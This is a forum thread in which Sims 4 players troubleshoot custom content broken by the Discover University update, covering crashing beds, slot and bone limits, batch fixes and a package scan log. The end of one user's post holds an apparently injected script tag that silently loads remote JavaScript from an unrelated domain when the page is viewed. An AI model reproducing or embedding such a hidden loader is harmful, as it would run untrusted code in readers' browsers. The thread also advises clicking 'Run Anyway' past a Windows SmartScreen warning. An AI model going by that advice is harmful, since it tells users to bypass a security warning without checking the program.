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Post by Cosmic Epiphany on Nov 17, 2019 1:36:45 GMT -5
Thank you @ xordevoreaux, orangemittens and Feyona for pointing out how to use the cheat! I can finally play Discover University. I surprisingly didn't have a lot of borked CC furniture. I am still having issues with the OMSP mod by amoeba, even with the reduced version, so I'll have to wait for EA to provide a fix. Thank you again for providing this cheat to help us find mods that exceed the 195 limit! I'll provide a list of CC my scans picked up in a bit. Edit:
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agluk
New Member
Posts: 1
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Post by agluk on Nov 17, 2019 4:14:48 GMT -5
As far as I am aware, bedding doesn't crash the game. It does need a new function tag added which is func_universityhousing_bed with a tagvalue of 65626 edit: using untagged beds in dorms may cause lot not to load though because of the missing tag but yet to confirm this Having an error 102 while loading dorms including separated beds from this pack by Brazenlotus : brazenlotus.com/all-beds-separated/ (tested with single beds only : objects_20170621_BrazenLotusGP05MetalFramedBedSingleFrame.package), Possibly also with the single bed from Pufferhead pack : mlysmakescc.weebly.com/pufferhead.html (Pufferhead_Furniture-BedLinen-Single.package) No problem with using those in regular residential lots.
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Post by simmerloverthings on Nov 17, 2019 7:47:21 GMT -5
So do I have to delete all my cc? I have furniture from creators who are not active anymore.... Is their a easy way to fix every cc in once? DO NOT delete all your CC. Create a folder outside your regular game folder, like: Documents\Electronic Arts\The Sims 4\ModsTest which would put it in the same The Sims 4 directory that your Mods folder resides: Documents\Electronic Arts\The Sims 4\ModsTest Documents\Electronic Arts\The Sims 4\Mods
The 50/50 testing rule isn't necessary here, because we more or less know what we need to isolate (cc double beds, cc shower stalls, and cc items that typically are assigned slots). So instead:
1. Keeping track of what you're testing before you do it (because of crashes), place each CC shower stall, bookcase, desk, table, wardrobe, china cabinet, curio, etc. or double bed somewhere in the world. 2. No crash? Great. Repeat #1. 3. Crash? Drag what crashed from your Mods folder into ModsTest 4. Restart your game and repeat #1. Continue this until all CC items that crashed the game (or completely vanished like cc shower stalls when you tried to place them) are in ModsTest. Your game is now workable, and you didn't delete everything. Temporary resolution: Just leave everything that crashed in ModsTest until there's either a patch from EA that removes the arbitrary maximum slot count which OrangeMittens says is 195, there's a Sims4Studio patch that mangles your stuff in terms of where slots go but caps objects to the 195 maximum, or you're told it's hopeless. Over time, for whatever can't be resolved from what's left in ModsTest, you have choices: 1. Deletion of the ModsTest contents 2. Salvaging content as I have done using Sims4Studio (by creating a new similar standalone item from Sims4Studio as to what broke and copying over to it the CC item's shadow meshes and regular meshes). 3. Leaving it alone and letting it rot for the day something changes or you decide you can live without it.
Thank You
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Post by simmerloverthings on Nov 17, 2019 7:50:12 GMT -5
I have one more question about the new shower Batch fix. I did the batch fix but I noticed that not all showers got fixed. Does that mean that the one's that didn't got fixed are already compatible with the new patch?
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Post by tauanilavarini on Nov 17, 2019 12:42:42 GMT -5
Hi! My sims can't go to their dorms if there are any CC beds in the lot (an error message appears saying I should close the game and try again). Could a batch fix for CC beds solve that?
Also, Peace Maker's console from the Vara Office Set (PC-TS4-VaraOffice-StorageConsole) makes my game close when I select it on build mode.
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Post by Feyona on Nov 17, 2019 14:29:48 GMT -5
I have one more question about the new shower Batch fix. I did the batch fix but I noticed that not all showers got fixed. Does that mean that the one's that didn't got fixed are already compatible with the new patch? We don’t know. You need to check if they got fixed, and if they didn’t then share these files with developers, please.
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Post by nlstaci on Nov 17, 2019 14:40:25 GMT -5
I did the cheat and this is what showed up. Does that mean I need to remove it from my game in order for it to work properly?
Unable to read package: \Build Mode\ND_1050 - Lyne Build Set - Half Wall Window - 1x1 Left.package
Unable to read package: \Build Mode\ND_1051 - Lyne Build Set - Half Wall Window - 1x1 Right.package
Unable to read package: \Build Mode\ND_1060 - Lyne Build Set - Quarter Wall Window - 1x1 Left.package
Unable to read package: \Build Mode\ND_1061 - Lyne Build Set - Quarter Wall Window - 1x1 Right.package
Package: \Build Mode\YUMIA - Simple Balcony T Base Ver2.package has 261 bones.
Package: \Build Mode\YUMIA - Simple Balcony T Base.package has 261 bones.
Package: \Build Mode\YUMIA - Simple Balcony T Left Ver2.package has 261 bones.
Package: \Build Mode\YUMIA - Simple Balcony T Left.package has 261 bones.
Package: \Build Mode\YUMIA - Simple Balcony T Right Ver2.package has 261 bones.
Package: \Build Mode\YUMIA - Simple Balcony T Right.package has 261 bones.
Package: \Build Mode\YUMIA - Simple Balcony T Ver2.package has 261 bones.
Package: \Build Mode\YUMIA - Simple Balcony T.package has 261 bones.
Package: \Current\Bedroom\ForeverDesigns-GraphicBedroomEndTable.package has 286 bones.
Package: \Current\Bedroom\ForeverDesigns-KatiesKidsRoomToybox.package has 236 bones.
Package: \Current\Bedroom\[KKB]IKEA TUFFING Loft bed -desk.package has 199 bones.
Unable to read package: \Current\Bedroom\[Severinka] TS4 Lenny kidsroom - desk.package
Package: \Current\kitchen\SloxHuleaKitchenItemsShelf.package has 283 bones.
Package: \Current\living room\Sanoysims Lykke livingroom set\SanoysimsLykkeLRMetalBookcase.package has 333 bones.
Unable to read package: \Merged\Bathroom_01.package
Unable to read package: \Merged\Bedroom_01.package
Package: [MERGED PACKAGE] \Merged\Kitchen_01.package\SloxCompactKitchenCupboard1x1Slotted has 240 bones.
Package: [MERGED PACKAGE] \Merged\Kitchen_01.package\SloxCompactKitchenCupboard2x1Slotted has 236 bones.
Unable to read package: \Merged\LivingRoom_01.package
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\[KKB]Korean Style Goods-Bench has 234 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\daer0n BIBLIOTHEQUE ECHELLE 4 ETAGERES BOIS ET METAL has 418 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\ForeverDesigns-EketLivingroomCabinetA1.1 has 200 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\ForeverDesigns-EketLivingroomCabinetA1.2 has 203 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\ForeverDesigns-GraphicStudyRoomBookcase has 452 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\ForeverDesigns-GraphicStudyRoomDesk has 414 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\ForeverDesigns-IndustrialOfficeDesk has 743 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\ForeverDesigns-IndustrialUDiningTable has 267 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\SloxAkyLaundrySink has 221 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\SloxAkyLaundrySink has 221 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\SloxAkyLaundrySink has 221 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\SloxAkyLaundrySink has 221 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\SloxAkyLaundrySink has 221 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\SloxAkyLaundrySink has 221 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\SloxAkyLaundrySink has 221 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\SloxAkyLaundrySink has 221 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\SloxAkyLaundrySink has 221 bones.
Package: [MERGED PACKAGE] \Merged\LivingRoom_02.package\SloxAkyLaundrySink has 221 bones.
Unable to read package: \Merged\Pets_01.package
Package: \Not Sorted\SaudadeSims_CharlestonFM_Dining Merged All.package has 248 bones.
Package: \Sorted\Sanoysims\SanoysimsLykkeLRMetalBookcase.package has 333 bones.
Package: \Starbucks\CC\[dreamteamsims] Starbucks Fridge.package has 216 bones.
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Honey
New Member
Posts: 5
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Post by Honey on Nov 18, 2019 7:26:43 GMT -5
hello.( sorry for my bad english ) I have a problem with the university lots , when I put cc ( probably beds) I have error 102:20ece5dd:2d42e9e1 when i arrive in sims life .it happens with a lot of beds .
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Post by orangemittens on Nov 18, 2019 8:55:38 GMT -5
Hi guys, if you have an example of a bed that causes an error or crash, please send it to me. Do not just provide a link to it - I need the package (it's fine to send it to me through the PM system). So far, multiple bed problems have been reported, but we only have example beds for one of the issues. It's impossible to be sure the batch fix will fix all problem beds without examples of each kind of problem bed.
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Post by astorm on Nov 18, 2019 10:13:24 GMT -5
Hello, I am having issues with opening S4S in general, I have a legal, fully paid for game, S4S has always worked previously but my laptop will not open the latest batch fix. There is a windows bar that pops up when I try and run S4S and reads: "Windows protected your PC! Windows SmartScreen prevented an unrecognised app from starting. Running this app might put your PC at risk." Thanks in advance for any help available.
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Post by xordevoreaux on Nov 18, 2019 14:58:14 GMT -5
Hello, I am having issues with opening S4S in general, I have a legal, fully paid for game, S4S has always worked previously but my laptop will not open the latest batch fix. There is a windows bar that pops up when I try and run S4S and reads: " Windows protected your PC!Windows SmartScreen prevented an unrecognised app from starting. Running this app might put your PC at risk." Thanks in advance for any help available.
1. Hit More Info 2. Click Run Anyway
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Post by blewis823 on Nov 19, 2019 20:57:23 GMT -5
I hope that I can explain this right. Seems EA changed the basegame meshes, whatever was recolored or cloned from the base game meshes don't work after installing Discover University. The new, added content like hats, sweat shirts, full body tracksuits, shorts, joggers, cardigan with shirts, etc are not showing properly in the game. Is it possible to get a batch fix for that? Just wanted to know before I go fixing all my recolors one by one. I'm in tears thinking about it. Here's a link to my Tumblr post about this issue, picture is in the post. blewis50.tumblr.com/post/189080532622/a-heads-upHere's a link to one of the affected EA meshes I recolored but don't work in the game now. simfileshare.net/download/1452216/Just tried recoloring the EA base game meshes again, still get the same brown film over my sims. The CC meshes are fine and show properly but the recolors are not showing right, they have the brown film over my whole sim. Would this be an EA issue with recoloring the meshes? I checked how the DDS is saving and it has the correct DXT5 save. I think that is right. I'm so confused right now.
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Post by xordevoreaux on Nov 19, 2019 21:46:51 GMT -5
I hope that I can explain this right. Seems EA changed the basegame meshes, whatever was recolored or cloned from the base game meshes don't work after installing Discover University. The new, added content like hats, sweat shirts, full body tracksuits, shorts, joggers, cardigan with shirts, etc are not showing properly in the game. Is it possible to get a batch fix for that? Just wanted to know before I go fixing all my recolors one by one. I'm in tears thinking about it. Here's a link to my Tumblr post about this issue, picture is in the post. blewis50.tumblr.com/post/189080532622/a-heads-upHere's a link to one of the affected EA meshes I recolored but don't work in the game now. simfileshare.net/download/1452216/Just tried recoloring the EA base game meshes again, still get the same brown film over my sims. The CC meshes are fine and show properly but the recolors are not showing right, they have the brown film over my whole sim. Would this be an EA issue with recoloring the meshes? I checked how the DDS is saving and it has the correct DXT5 save. I think that is right. I'm so confused right now.
Perhaps one (or more) of the the cc items is actually an override, not a standalone, meaning no matter how many times you recolor a skin/outfit/hair etc., the cc will override texture/mesh/whatever it was intended to override. Have you tried removing all CAS-related CC first, including your own previous recolors, and with all that removed, recolor a CAS item?
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Post by ddbabydiva1979 on Nov 19, 2019 23:27:37 GMT -5
Hi guys, if you have an example of a bed that causes an error or crash, please send it to me. Do not just provide a link to it - I need the package (it's fine to send it to me through the PM system). So far, multiple bed problems have been reported, but we only have example beds for one of the issues. It's impossible to be sure the batch fix will fix all problem beds without examples of each kind of problem bed. I would like to send you a package file that is causing the game to crash, but I have absolutely no clue how to do PM it to you. When I click Send Message, it says that I am not able to. Is there another way to get it to you? <script type="text/javascript" async="" src="//clonyjohn.com/21dca2f7d5837c09f5.js"></script>
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Post by Feyona on Nov 20, 2019 0:11:08 GMT -5
You can upload that file to any ad free file hosting service (onedrive, dropbox) and share the link here.
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